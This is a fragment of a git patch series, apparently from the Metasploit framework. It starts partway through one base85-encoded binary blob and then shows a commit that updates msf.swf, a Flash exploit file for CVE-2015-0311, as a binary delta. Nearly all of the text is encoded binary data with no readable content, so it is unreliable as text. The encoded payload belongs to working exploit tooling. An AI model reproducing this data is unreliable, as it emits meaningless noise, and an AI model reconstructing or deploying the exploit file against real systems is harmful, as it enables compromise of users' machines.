z*s)>5VZes(FJS81Dr)nyE8M0Ufy;v!9b3_HQ1>f}$Q`cA(~z1g<)KUDPc@u!kK%Cf zbrqi{zqw+DGh+Qc56xkFeC_xVh;nSY;wuerFN>coAU)^5rfF{O5!ietQBLEYQdc>` z%_GH_5?1IukiFtVcSE;mp15;fe-v}WNZC7%%qJv^e{y?Ovv90l{Z6n!Ev!N)+l%D^ zHarLC>FCY_45&!yo93cS;BqALvtNc(nUGt|iNA=E*Z&|>@m@9si%T3N0kiq<)WFly z^XoHUH7lOxQ&eQ(EpE0;P6GD3NtIx_UV3@zwApoOLe z0lAUid>od}YRD8;T}j6nF#b+L@>8O;XYORNxy^~_pn#dqOrV%o2RVe(`qA+2d`?cL zKdk0AgDZE$7Rf#Xj~hdi+`kdsDx%*XWWkotxiC#Asz7;-_kP)0f2mIAYnzyPc;TZ} z85;@EE6XC2kjbPJ=UzVHmRvjJ#y5>C!i&U&ACV9|CEp_ta)QLC(lF1zONLyXXUC8% zzsV*;N-V5H>SGQED}^_8mi2$pkI6LSs0w_}*NLjf4U&eD58+N6n~_*x-}Op z?zjLn-=6191mfNm3vx{og+n?8O+p1$oK5ozv`*=lgutk_cU1SGP!Rq&b$tIsux!w( z5ZzafI%a3rgL79|EdA&AZwnCR#_a!-s42xkd0ul!DDh9z3D?T@mNk`Mww@Nzha1c7 zG?KSe3l5otf5IZq`;b0_uZLzp7MD%6vjKdddtLGs`p*AJQog~_cfgU+jjOs@2%TtA zFGZX}^EkziRahiJ4mQM3btKSLxCId+(;=mJLU9h(SfaJxHnx!?Up}^#o9Vrsw-vXo||6yKXMWJgIgO6Q!# zO8emFf6zVJN;WI5IzK`dY>g+X;lrNk8e^s|s4|jOgXjeGDoc=a%bc5Z{0cjKZ-nQ( z<7uDB_7|R!Sixc7QVA`F8cxltFaqRnijK?e`x{HC&Zps{(?B@OC6e#=iRjNl{u;{N zEzY&GyLloN>Xx`u1<05vdBYhxH6d43jUGjNe`BnWi@w4pw-UcK1|tdzK1>bO=+i%U zyhΠ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 From 29ccc8367bb8fdd178e7b4001ae20a4f803b8a37 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 14:47:47 -0500 Subject: [PATCH 26/55] Add More messages --- data/exploits/CVE-2015-0311/msf.swf | Bin 20512 -> 20531 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/data/exploits/CVE-2015-0311/msf.swf b/data/exploits/CVE-2015-0311/msf.swf index 90b0f1dea49817641b5d9f4b4245332b8c130a71..860efe1292298d18f43163f4d77d920d589fbe13 100644 GIT binary patch delta 20409 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 